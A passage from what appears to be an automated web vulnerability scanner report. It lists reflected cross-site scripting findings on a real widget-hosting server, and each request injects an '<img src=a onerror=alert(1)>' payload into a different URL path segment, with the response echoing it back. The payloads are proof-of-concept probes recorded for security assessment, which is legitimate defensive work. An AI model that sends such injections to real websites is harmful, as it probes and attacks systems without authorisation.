if(!window.WIDGETBOX){(function(){var D=false;var C=function(){WIDGETBOX.setPageLoaded();};var B=function(){WIDGETBOX.setPageUnloaded();};WIDGETBOX={libs:{},version:"47243",urls:{runtimeBaseUrl
...[SNIP]...
75-95ef3e434575","platform":"InsertWidget","fif":"aol"},

configurationParams : {"wbx_at":"http://cdn4.eyewonder.com/cm/nb/9826-119832-16279-2?mpt=[timestamp]","wbx_lp":"http://at.atwola.com/adlink94f39<img src=a onerror=alert(1)>6a768a93c3/5113/1838313/0/529/AdId=1481436;BnId=1;itime=825081324;kvpg=techcrunch;kvugc=0;kvmn=93311231;kvtid=16lsqii1n1a3cr;kvseg=99999:53575:53656:56768:56830:56835:60515:53615:52766:60130:50213:50239:60190;no
...[SNIP]...

Summary

Severity:	High
Confidence:	Certain
Host:	http://cdn.widgetserver.com
Path:	/syndication/platform/InsertWidget/fif/aol/id/8f8e2793-e99e-41bf-8b75-95ef3e434575/__c__,wbx_at,http%3A%2F%2Fcdn4.eyewonder.com%2Fcm%2Fnb%2F9826-119832-16279-2%3Fmpt%3D%5Btimestamp%5D,wbx_lp,http://at.atwola.com/adlink/5113/1838313/0/529/AdId=1481436

Request

GET /syndication/platform/InsertWidget/fif/aol/id/8f8e2793-e99e-41bf-8b75-95ef3e434575/__c__,wbx_at,http%3A%2F%2Fcdn4.eyewonder.com%2Fcm%2Fnb%2F9826-119832-16279-2%3Fmpt%3D%5Btimestamp%5D,wbx_lp,http://at.atwola.com/adlink/51135bcaa<img%20src%3da%20onerror%3dalert(1)>df3967d3b03/1838313/0/529/AdId=1481436;BnId=1;itime=825081324;kvpg=techcrunch;kvugc=0;kvmn=93311231;kvtid=16lsqii1n1a3cr;kvseg=99999:53575:53656:56768:56830:56835:60515:53615:52766:60130:50213:50239:60190;nodecode=yes;link=,wbx_at_1,__c__ HTTP/1.1
Host: cdn.widgetserver.com
Proxy-Connection: keep-alive
Referer: http://techcrunch.com/wp-content/themes/vip/tctechcrunch/_uac/adpage.html
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Content-Type: application/x-javascript;charset=UTF-8
Date: Sun, 27 Feb 2011 16:46:31 GMT
P3P: CP="NON ADMa OUR IND PHY ONL UNI COM NAV STA"
Server: Apache/2.2.3 (Red Hat)
Vary: Accept-Encoding
Content-Length: 56526

if(!window.WIDGETBOX){(function(){var D=false;var C=function(){WIDGETBOX.setPageLoaded();};var B=function(){WIDGETBOX.setPageUnloaded();};WIDGETBOX={libs:{},version:"47243",urls:{runtimeBaseUrl
...[SNIP]...
ef3e434575","platform":"InsertWidget","fif":"aol"},

configurationParams : {"wbx_at":"http://cdn4.eyewonder.com/cm/nb/9826-119832-16279-2?mpt=[timestamp]","wbx_lp":"http://at.atwola.com/adlink/51135bcaa<img src=a onerror=alert(1)>df3967d3b03/1838313/0/529/AdId=1481436;BnId=1;itime=825081324;kvpg=techcrunch;kvugc=0;kvmn=93311231;kvtid=16lsqii1n1a3cr;kvseg=99999:53575:53656:56768:56830:56835:60515:53615:52766:60130:50213:50239:60190;nodecod
...[SNIP]...

Summary

Severity:	High
Confidence:	Certain
Host:	http://cdn.widgetserver.com
Path:	/syndication/platform/InsertWidget/fif/aol/id/8f8e2793-e99e-41bf-8b75-95ef3e434575/__c__,wbx_at,http%3A%2F%2Fcdn4.eyewonder.com%2Fcm%2Fnb%2F9826-119832-16279-2%3Fmpt%3D%5Btimestamp%5D,wbx_lp,http://at.atwola.com/adlink/5113/1838313/0/529/AdId=1481436

Request

GET /syndication/platform/InsertWidget/fif/aol/id/8f8e2793-e99e-41bf-8b75-95ef3e434575/__c__,wbx_at,http%3A%2F%2Fcdn4.eyewonder.com%2Fcm%2Fnb%2F9826-119832-16279-2%3Fmpt%3D%5Btimestamp%5D,wbx_lp,http://at.atwola.com/adlink/5113/183831369f84<img%20src%3da%20onerror%3dalert(1)>faa1bc042a8/0/529/AdId=1481436;BnId=1;itime=825081324;kvpg=techcrunch;kvugc=0;kvmn=93311231;kvtid=16lsqii1n1a3cr;kvseg=99999:53575:53656:56768:56830:56835:60515:53615:52766:60130:50213:50239:60190;nodecode=yes;link=,wbx_at_1,__c__ HTTP/1.1
Host: cdn.widgetserver.com
Proxy-Connection: keep-alive
Referer: http://techcrunch.com/wp-content/themes/vip/tctechcrunch/_uac/adpage.html
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Content-Type: application/x-javascript;charset=UTF-8
Date: Sun, 27 Feb 2011 16:46:38 GMT
P3P: CP="NON ADMa OUR IND PHY ONL UNI COM NAV STA"
Server: Apache/2.2.3 (Red Hat)
Vary: Accept-Encoding
Content-Length: 56526

if(!window.WIDGETBOX){(function(){var D=false;var C=function(){WIDGETBOX.setPageLoaded();};var B=function(){WIDGETBOX.setPageUnloaded();};WIDGETBOX={libs:{},version:"47243",urls:{runtimeBaseUrl
...[SNIP]...
75","platform":"InsertWidget","fif":"aol"},

configurationParams : {"wbx_at":"http://cdn4.eyewonder.com/cm/nb/9826-119832-16279-2?mpt=[timestamp]","wbx_lp":"http://at.atwola.com/adlink/5113/183831369f84<img src=a onerror=alert(1)>faa1bc042a8/0/529/AdId=1481436;BnId=1;itime=825081324;kvpg=techcrunch;kvugc=0;kvmn=93311231;kvtid=16lsqii1n1a3cr;kvseg=99999:53575:53656:56768:56830:56835:60515:53615:52766:60130:50213:50239:60190;nodecode=yes;li
...[SNIP]...

Summary

Severity:	High
Confidence:	Certain
Host:	http://cdn.widgetserver.com
Path:	/syndication/platform/InsertWidget/fif/aol/id/8f8e2793-e99e-41bf-8b75-95ef3e434575/__c__,wbx_at,http%3A%2F%2Fcdn4.eyewonder.com%2Fcm%2Fnb%2F9826-119832-16279-2%3Fmpt%3D%5Btimestamp%5D,wbx_lp,http://at.atwola.com/adlink/5113/1838313/0/529/AdId=1481436

Request

GET /syndication/platform/InsertWidget/fif/aol/id/8f8e2793-e99e-41bf-8b75-95ef3e434575/__c__,wbx_at,http%3A%2F%2Fcdn4.eyewonder.com%2Fcm%2Fnb%2F9826-119832-16279-2%3Fmpt%3D%5Btimestamp%5D,wbx_lp,http://at.atwola.com/adlink/5113/1838313/07ba35<img%20src%3da%20onerror%3dalert(1)>b5fe03ca28a/529/AdId=1481436;BnId=1;itime=825081324;kvpg=techcrunch;kvugc=0;kvmn=93311231;kvtid=16lsqii1n1a3cr;kvseg=99999:53575:53656:56768:56830:56835:60515:53615:52766:60130:50213:50239:60190;nodecode=yes;link=,wbx_at_1,__c__ HTTP/1.1
Host: cdn.widgetserver.com
Proxy-Connection: keep-alive
Referer: http://techcrunch.com/wp-content/themes/vip/tctechcrunch/_uac/adpage.html
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Content-Type: application/x-javascript;charset=UTF-8
Date: Sun, 27 Feb 2011 16:46:45 GMT
P3P: CP="NON ADMa OUR IND PHY ONL UNI COM NAV STA"
Server: Apache/2.2.3 (Red Hat)
Vary: Accept-Encoding
Content-Length: 56526

if(!window.WIDGETBOX){(function(){var D=false;var C=function(){WIDGETBOX.setPageLoaded();};var B=function(){WIDGETBOX.setPageUnloaded();};WIDGETBOX={libs:{},version:"47243",urls:{runtimeBaseUrl
...[SNIP]...
","platform":"InsertWidget","fif":"aol"},

configurationParams : {"wbx_at":"http://cdn4.eyewonder.com/cm/nb/9826-119832-16279-2?mpt=[timestamp]","wbx_lp":"http://at.atwola.com/adlink/5113/1838313/07ba35<img src=a onerror=alert(1)>b5fe03ca28a/529/AdId=1481436;BnId=1;itime=825081324;kvpg=techcrunch;kvugc=0;kvmn=93311231;kvtid=16lsqii1n1a3cr;kvseg=99999:53575:53656:56768:56830:56835:60515:53615:52766:60130:50213:50239:60190;nodecode=yes;link
...[SNIP]...

Summary

Severity:	High
Confidence:	Certain
Host:	http://cdn.widgetserver.com
Path:	/syndication/platform/InsertWidget/fif/aol/id/8f8e2793-e99e-41bf-8b75-95ef3e434575/__c__,wbx_at,http%3A%2F%2Fcdn4.eyewonder.com%2Fcm%2Fnb%2F9826-119832-16279-2%3Fmpt%3D%5Btimestamp%5D,wbx_lp,http://at.atwola.com/adlink/5113/1838313/0/529/AdId=1481436

Request

GET /syndication/platform/InsertWidget/fif/aol/id/8f8e2793-e99e-41bf-8b75-95ef3e434575/__c__,wbx_at,http%3A%2F%2Fcdn4.eyewonder.com%2Fcm%2Fnb%2F9826-119832-16279-2%3Fmpt%3D%5Btimestamp%5D,wbx_lp,http://at.atwola.com/adlink/5113/1838313/0/5299ec74<img%20src%3da%20onerror%3dalert(1)>e70d7034ce2/AdId=1481436;BnId=1;itime=825081324;kvpg=techcrunch;kvugc=0;kvmn=93311231;kvtid=16lsqii1n1a3cr;kvseg=99999:53575:53656:56768:56830:56835:60515:53615:52766:60130:50213:50239:60190;nodecode=yes;link=,wbx_at_1,__c__ HTTP/1.1
Host: cdn.widgetserver.com
Proxy-Connection: keep-alive
Referer: http://techcrunch.com/wp-content/themes/vip/tctechcrunch/_uac/adpage.html
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Content-Type: application/x-javascript;charset=UTF-8
Date: Sun, 27 Feb 2011 16:46:52 GMT
P3P: CP="NON ADMa OUR IND PHY ONL UNI COM NAV STA"
Server: Apache/2.2.3 (Red Hat)
Vary: Accept-Encoding
Content-Length: 56526

if(!window.WIDGETBOX){(function(){var D=false;var C=function(){WIDGETBOX.setPageLoaded();};var B=function(){WIDGETBOX.setPageUnloaded();};WIDGETBOX={libs:{},version:"47243",urls:{runtimeBaseUrl
...[SNIP]...
latform":"InsertWidget","fif":"aol"},

configurationParams : {"wbx_at":"http://cdn4.eyewonder.com/cm/nb/9826-119832-16279-2?mpt=[timestamp]","wbx_lp":"http://at.atwola.com/adlink/5113/1838313/0/5299ec74<img src=a onerror=alert(1)>e70d7034ce2/AdId=1481436;BnId=1;itime=825081324;kvpg=techcrunch;kvugc=0;kvmn=93311231;kvtid=16lsqii1n1a3cr;kvseg=99999:53575:53656:56768:56830:56835:60515:53615:52766:60130:50213:50239:60190;nodecode=yes;link="},
...[SNIP]...

Summary

Severity:	High
Confidence:	Certain
Host:	http://cdn.widgetserver.com
Path:	/syndication/platform/InsertWidget/fif/aol/id/8f8e2793-e99e-41bf-8b75-95ef3e434575/__c__,wbx_at,http%3A%2F%2Fcdn4.eyewonder.com%2Fcm%2Fnb%2F9826-119832-16279-2%3Fmpt%3D%5Btimestamp%5D,wbx_lp,http://at.atwola.com/adlink/5113/1838313/0/529/AdId=1481436

Request

GET /syndication/platform/InsertWidget/fif/aol/id/8f8e2793-e99e-41bf-8b75-95ef3e434575/__c__,wbx_at,http%3A%2F%2Fcdn4.eyewonder.com%2Fcm%2Fnb%2F9826-119832-16279-2%3Fmpt%3D%5Btimestamp%5D,wbx_lp,http://at.atwola.com/adlink/5113/1838313/0/529/AdId16922<img%20src%3da%20onerror%3dalert(1)>f636662a426=1481436;BnId=1;itime=825081324;kvpg=techcrunch;kvugc=0;kvmn=93311231;kvtid=16lsqii1n1a3cr;kvseg=99999:53575:53656:56768:56830:56835:60515:53615:52766:60130:50213:50239:60190;nodecode=yes;link=,wbx_at_1,__c__ HTTP/1.1
Host: cdn.widgetserver.com
Proxy-Connection: keep-alive
Referer: http://techcrunch.com/wp-content/themes/vip/tctechcrunch/_uac/adpage.html
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Content-Type: application/x-javascript;charset=UTF-8
Date: Sun, 27 Feb 2011 16:46:59 GMT
P3P: CP="NON ADMa OUR IND PHY ONL UNI COM NAV STA"
Server: Apache/2.2.3 (Red Hat)
Vary: Accept-Encoding
Content-Length: 56526

if(!window.WIDGETBOX){(function(){var D=false;var C=function(){WIDGETBOX.setPageLoaded();};var B=function(){WIDGETBOX.setPageUnloaded();};WIDGETBOX={libs:{},version:"47243",urls:{runtimeBaseUrl
...[SNIP]...
rm":"InsertWidget","fif":"aol"},

configurationParams : {"wbx_at":"http://cdn4.eyewonder.com/cm/nb/9826-119832-16279-2?mpt=[timestamp]","wbx_lp":"http://at.atwola.com/adlink/5113/1838313/0/529/AdId16922<img src=a onerror=alert(1)>f636662a426=1481436;BnId=1;itime=825081324;kvpg=techcrunch;kvugc=0;kvmn=93311231;kvtid=16lsqii1n1a3cr;kvseg=99999:53575:53656:56768:56830:56835:60515:53615:52766:60130:50213:50239:60190;nodecode=yes;link="},

...[SNIP]...

Summary

Severity:	High
Confidence:	Certain
Host:	http://cdn.widgetserver.com
Path:	/syndication/platform/InsertWidget/fif/aol/id/8f8e2793-e99e-41bf-8b75-95ef3e434575/__c__,wbx_at,http%3A%2F%2Fcdn4.eyewonder.com%2Fcm%2Fnb%2F9826-119832-16279-2%3Fmpt%3D%5Btimestamp%5D,wbx_lp,http://at.atwola.com/adlink/5113/1838313/0/529/AdId=1481436

Request

GET /syndication/platform/InsertWidget/fif467b6<img%20src%3da%20onerror%3dalert(1)>6c593df3db8/aol/id/8f8e2793-e99e-41bf-8b75-95ef3e434575/__c__,wbx_at,http%3A%2F%2Fcdn4.eyewonder.com%2Fcm%2Fnb%2F9826-119832-16279-2%3Fmpt%3D%5Btimestamp%5D,wbx_lp,http://at.atwola.com/adlink/5113/1838313/0/529/AdId=1481436;BnId=1;itime=825081324;kvpg=techcrunch;kvugc=0;kvmn=93311231;kvtid=16lsqii1n1a3cr;kvseg=99999:53575:53656:56768:56830:56835:60515:53615:52766:60130:50213:50239:60190;nodecode=yes;link=,wbx_at_1,__c__ HTTP/1.1
Host: cdn.widgetserver.com
Proxy-Connection: keep-alive
Referer: http://techcrunch.com/wp-content/themes/vip/tctechcrunch/_uac/adpage.html
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Content-Type: application/x-javascript;charset=UTF-8
Date: Sun, 27 Feb 2011 16:45:48 GMT
P3P: CP="NON ADMa OUR IND PHY ONL UNI COM NAV STA"
Server: Apache/2.2.3 (Red Hat)
Vary: Accept-Encoding
Content-Length: 18572

if(!window.WIDGETBOX){(function(){var D=false;var C=function(){WIDGETBOX.setPageLoaded();};var B=function(){WIDGETBOX.setPageUnloaded();};WIDGETBOX={libs:{},version:"47243",urls:{runtimeBaseUrl
...[SNIP]...
GETBOX.platform.WidgetConfig = WidgetConfig;
})();

WIDGETBOX.platform.WidgetConfigPathHandler = {
initializationParams : {"id":"8f8e2793-e99e-41bf-8b75-95ef3e434575","platform":"InsertWidget","fif467b6<img src=a onerror=alert(1)>6c593df3db8":"aol"},

configurationParams : {"wbx_at":"http://cdn4.eyewonder.com/cm/nb/9826-119832-16279-2?mpt=[timestamp]","wbx_lp":"http://at.atwola.com/adlink/5113/1838313/0/529/AdId=1481436;BnId=1;itime=8
...[SNIP]...

Summary

Severity:	High
Confidence:	Certain
Host:	http://cdn.widgetserver.com
Path:	/syndication/platform/InsertWidget/fif/aol/id/8f8e2793-e99e-41bf-8b75-95ef3e434575/__c__,wbx_at,http%3A%2F%2Fcdn4.eyewonder.com%2Fcm%2Fnb%2F9826-119832-16279-2%3Fmpt%3D%5Btimestamp%5D,wbx_lp,http://at.atwola.com/adlink/5113/1838313/0/529/AdId=1481436

Request

GET /syndication/platform/InsertWidget/fif/aole8572<img%20src%3da%20onerror%3dalert(1)>efc59e097e0/id/8f8e2793-e99e-41bf-8b75-95ef3e434575/__c__,wbx_at,http%3A%2F%2Fcdn4.eyewonder.com%2Fcm%2Fnb%2F9826-119832-16279-2%3Fmpt%3D%5Btimestamp%5D,wbx_lp,http://at.atwola.com/adlink/5113/1838313/0/529/AdId=1481436;BnId=1;itime=825081324;kvpg=techcrunch;kvugc=0;kvmn=93311231;kvtid=16lsqii1n1a3cr;kvseg=99999:53575:53656:56768:56830:56835:60515:53615:52766:60130:50213:50239:60190;nodecode=yes;link=,wbx_at_1,__c__ HTTP/1.1
Host: cdn.widgetserver.com
Proxy-Connection: keep-alive
Referer: http://techcrunch.com/wp-content/themes/vip/tctechcrunch/_uac/adpage.html
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Content-Type: application/x-javascript;charset=UTF-8
Date: Sun, 27 Feb 2011 16:45:54 GMT
P3P: CP="NON ADMa OUR IND PHY ONL UNI COM NAV STA"
Server: Apache/2.2.3 (Red Hat)
Vary: Accept-Encoding
Content-Length: 56534

if(!window.WIDGETBOX){(function(){var D=false;var C=function(){WIDGETBOX.setPageLoaded();};var B=function(){WIDGETBOX.setPageUnloaded();};WIDGETBOX={libs:{},version:"47243",urls:{runtimeBaseUrl
...[SNIP]...
.platform.WidgetConfig = WidgetConfig;
})();

WIDGETBOX.platform.WidgetConfigPathHandler = {
initializationParams : {"id":"8f8e2793-e99e-41bf-8b75-95ef3e434575","platform":"InsertWidget","fif":"aole8572<img src=a onerror=alert(1)>efc59e097e0"},

configurationParams : {"wbx_at":"http://cdn4.eyewonder.com/cm/nb/9826-119832-16279-2?mpt=[timestamp]","wbx_lp":"http://at.atwola.com/adlink/5113/1838313/0/529/AdId=1481436;BnId=1;itime=8250813
...[SNIP]...

Summary

Severity:	High
Confidence:	Certain
Host:	http://cdn.widgetserver.com
Path:	/syndication/platform/InsertWidget/fif/aol/id/8f8e2793-e99e-41bf-8b75-95ef3e434575/__c__,wbx_at,http%3A%2F%2Fcdn4.eyewonder.com%2Fcm%2Fnb%2F9826-119832-16279-2%3Fmpt%3D%5Btimestamp%5D,wbx_lp,http://at.atwola.com/adlink/5113/1838313/0/529/AdId=1481436

Request

GET /syndication/platform/InsertWidget/fif/aol/id1abe0<img%20src%3da%20onerror%3dalert(1)>6a7add9aecc/8f8e2793-e99e-41bf-8b75-95ef3e434575/__c__,wbx_at,http%3A%2F%2Fcdn4.eyewonder.com%2Fcm%2Fnb%2F9826-119832-16279-2%3Fmpt%3D%5Btimestamp%5D,wbx_lp,http://at.atwola.com/adlink/5113/1838313/0/529/AdId=1481436;BnId=1;itime=825081324;kvpg=techcrunch;kvugc=0;kvmn=93311231;kvtid=16lsqii1n1a3cr;kvseg=99999:53575:53656:56768:56830:56835:60515:53615:52766:60130:50213:50239:60190;nodecode=yes;link=,wbx_at_1,__c__ HTTP/1.1
Host: cdn.widgetserver.com
Proxy-Connection: keep-alive
Referer: http://techcrunch.com/wp-content/themes/vip/tctechcrunch/_uac/adpage.html
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Content-Type: application/x-javascript;charset=UTF-8
Date: Sun, 27 Feb 2011 16:46:02 GMT
P3P: CP="NON ADMa OUR IND PHY ONL UNI COM NAV STA"
Server: Apache/2.2.3 (Red Hat)
Vary: Accept-Encoding
Content-Length: 56526

if(!window.WIDGETBOX){(function(){var D=false;var C=function(){WIDGETBOX.setPageLoaded();};var B=function(){WIDGETBOX.setPageUnloaded();};WIDGETBOX={libs:{},version:"47243",urls:{runtimeBaseUrl
...[SNIP]...
true);
}
};

WIDGETBOX.platform.WidgetConfig = WidgetConfig;
})();

WIDGETBOX.platform.WidgetConfigPathHandler = {
initializationParams : {"platform":"InsertWidget","fif":"aol","id1abe0<img src=a onerror=alert(1)>6a7add9aecc":"8f8e2793-e99e-41bf-8b75-95ef3e434575"},

configurationParams : {"wbx_at":"http://cdn4.eyewonder.com/cm/nb/9826-119832-16279-2?mpt=[timestamp]","wbx_lp":"http://at.atwola.com/adlink/5113/1838313/
...[SNIP]...

Summary

Severity:	High
Confidence:	Certain
Host:	http://cdn.widgetserver.com
Path:	/syndication/platform/InsertWidget/fif/aol/id/8f8e2793-e99e-41bf-8b75-95ef3e434575/__c__,wbx_at,http%3A%2F%2Fcdn4.eyewonder.com%2Fcm%2Fnb%2F9826-119832-16279-2%3Fmpt%3D%5Btimestamp%5D,wbx_lp,http://at.atwola.com/adlink/5113/1838313/0/529/AdId=1481436

Request

GET /syndication/platform/InsertWidget/fif/aol/id/8f8e2793-e99e-41bf-8b75-95ef3e4345753ffef<img%20src%3da%20onerror%3dalert(1)>0560571b3eb/__c__,wbx_at,http%3A%2F%2Fcdn4.eyewonder.com%2Fcm%2Fnb%2F9826-119832-16279-2%3Fmpt%3D%5Btimestamp%5D,wbx_lp,http://at.atwola.com/adlink/5113/1838313/0/529/AdId=1481436;BnId=1;itime=825081324;kvpg=techcrunch;kvugc=0;kvmn=93311231;kvtid=16lsqii1n1a3cr;kvseg=99999:53575:53656:56768:56830:56835:60515:53615:52766:60130:50213:50239:60190;nodecode=yes;link=,wbx_at_1,__c__ HTTP/1.1
Host: cdn.widgetserver.com
Proxy-Connection: keep-alive
Referer: http://techcrunch.com/wp-content/themes/vip/tctechcrunch/_uac/adpage.html
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Content-Type: application/x-javascript;charset=UTF-8
Date: Sun, 27 Feb 2011 16:46:09 GMT
P3P: CP="NON ADMa OUR IND PHY ONL UNI COM NAV STA"
Server: Apache/2.2.3 (Red Hat)
Vary: Accept-Encoding
Content-Length: 56534

if(!window.WIDGETBOX){(function(){var D=false;var C=function(){WIDGETBOX.setPageLoaded();};var B=function(){WIDGETBOX.setPageUnloaded();};WIDGETBOX={libs:{},version:"47243",urls:{runtimeBaseUrl
...[SNIP]...
true);
}
};

WIDGETBOX.platform.WidgetConfig = WidgetConfig;
})();

WIDGETBOX.platform.WidgetConfigPathHandler = {
initializationParams : {"id":"8f8e2793-e99e-41bf-8b75-95ef3e4345753ffef<img src=a onerror=alert(1)>0560571b3eb","platform":"InsertWidget","fif":"aol"},

configurationParams : {"wbx_at":"http://cdn4.eyewonder.com/cm/nb/9826-119832-16279-2?mpt=[timestamp]","wbx_lp":"http://at.atwola.com/adlink/5113/1838313/0
...[SNIP]...

Summary

Severity:	High
Confidence:	Certain
Host:	http://cdn.widgetserver.com
Path:	/syndication/platform/InsertWidget/fif/aol/id/8f8e2793-e99e-41bf-8b75-95ef3e434575/__c__,wbx_at,http%3A%2F%2Fcdn4.eyewonder.com%2Fcm%2Fnb%2F9826-119832-16279-2%3Fmpt%3D%5Btimestamp%5D,wbx_lp,http://at.atwola.com/adlink/5113/1838313/0/529/AdId=1481436

Request

GET /syndication/platform/InsertWidget/fif/aol/id/8f8e2793-e99e-41bf-8b75-95ef3e434575/__c__,wbx_at,http%3A%2F%2Fcdn4.eyewonder.com%2Fcm%2Fnb%2F9826-119832-16279-2%3Fmpt%3D%5Btimestamp%5D,wbx_lp,http:33b85<img%20src%3da%20onerror%3dalert(1)>c54be653d5e//at.atwola.com/adlink/5113/1838313/0/529/AdId=1481436;BnId=1;itime=825081324;kvpg=techcrunch;kvugc=0;kvmn=93311231;kvtid=16lsqii1n1a3cr;kvseg=99999:53575:53656:56768:56830:56835:60515:53615:52766:60130:50213:50239:60190;nodecode=yes;link=,wbx_at_1,__c__ HTTP/1.1
Host: cdn.widgetserver.com
Proxy-Connection: keep-alive
Referer: http://techcrunch.com/wp-content/themes/vip/tctechcrunch/_uac/adpage.html
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Content-Type: application/x-javascript;charset=UTF-8
Date: Sun, 27 Feb 2011 16:46:16 GMT
P3P: CP="NON ADMa OUR IND PHY ONL UNI COM NAV STA"
Server: Apache/2.2.3 (Red Hat)
Vary: Accept-Encoding
Content-Length: 56526

if(!window.WIDGETBOX){(function(){var D=false;var C=function(){WIDGETBOX.setPageLoaded();};var B=function(){WIDGETBOX.setPageUnloaded();};WIDGETBOX={libs:{},version:"47243",urls:{runtimeBaseUrl
...[SNIP]...
"8f8e2793-e99e-41bf-8b75-95ef3e434575","platform":"InsertWidget","fif":"aol"},

configurationParams : {"wbx_at":"http://cdn4.eyewonder.com/cm/nb/9826-119832-16279-2?mpt=[timestamp]","wbx_lp":"http:33b85<img src=a onerror=alert(1)>c54be653d5e//at.atwola.com/adlink/5113/1838313/0/529/AdId=1481436;BnId=1;itime=825081324;kvpg=techcrunch;kvugc=0;kvmn=93311231;kvtid=16lsqii1n1a3cr;kvseg=99999:53575:53656:56768:56830:56835:60515:53615:52766:6013
...[SNIP]...

Summary

Severity:	High
Confidence:	Certain
Host:	http://cdn.widgetserver.com
Path:	/syndication/platform/InsertWidget/fif/aol/id/8f8e2793-e99e-41bf-8b75-95ef3e434575/__c__,wbx_at,http%3A%2F%2Fcdn4.eyewonder.com%2Fcm%2Fnb%2F9826-119832-16279-2%3Fmpt%3D%5Btimestamp%5D,wbx_lp,http://at.atwola.com/adlink/5113/1838313/0/529/AdId=1481436

Request

GET /syndication/platform/InsertWidget/fif/aol/id/8f8e2793-e99e-41bf-8b75-95ef3e434575/__c__,wbx_at,http%3A%2F%2Fcdn4.eyewonder.com%2Fcm%2Fnb%2F9826-119832-16279-2%3Fmpt%3D%5Btimestamp%5D,wbx_lp,http://at.atwola.com37922<img%20src%3da%20onerror%3dalert(1)>f402d1ff062/adlink/5113/1838313/0/529/AdId=1481436;BnId=1;itime=825081324;kvpg=techcrunch;kvugc=0;kvmn=93311231;kvtid=16lsqii1n1a3cr;kvseg=99999:53575:53656:56768:56830:56835:60515:53615:52766:60130:50213:50239:60190;nodecode=yes;link=,wbx_at_1,__c__ HTTP/1.1
Host: cdn.widgetserver.com
Proxy-Connection: keep-alive
Referer: http://techcrunch.com/wp-content/themes/vip/tctechcrunch/_uac/adpage.html
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Content-Type: application/x-javascript;charset=UTF-8
Date: Sun, 27 Feb 2011 16:46:20 GMT
P3P: CP="NON ADMa OUR IND PHY ONL UNI COM NAV STA"
Server: Apache/2.2.3 (Red Hat)
Vary: Accept-Encoding
Content-Length: 56526

if(!window.WIDGETBOX){(function(){var D=false;var C=function(){WIDGETBOX.setPageLoaded();};var B=function(){WIDGETBOX.setPageUnloaded();};WIDGETBOX={libs:{},version:"47243",urls:{runtimeBaseUrl
...[SNIP]...
41bf-8b75-95ef3e434575","platform":"InsertWidget","fif":"aol"},

configurationParams : {"wbx_at":"http://cdn4.eyewonder.com/cm/nb/9826-119832-16279-2?mpt=[timestamp]","wbx_lp":"http://at.atwola.com37922<img src=a onerror=alert(1)>f402d1ff062/adlink/5113/1838313/0/529/AdId=1481436;BnId=1;itime=825081324;kvpg=techcrunch;kvugc=0;kvmn=93311231;kvtid=16lsqii1n1a3cr;kvseg=99999:53575:53656:56768:56830:56835:60515:53615:52766:60130:50213:50239:6
...[SNIP]...

3.39. https://cds.sun.com/is-bin/INTERSHOP.enfinity/WFS/CDS-CDS_Developer-Site/en_US/-/USD/ViewProductDetail-Start [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
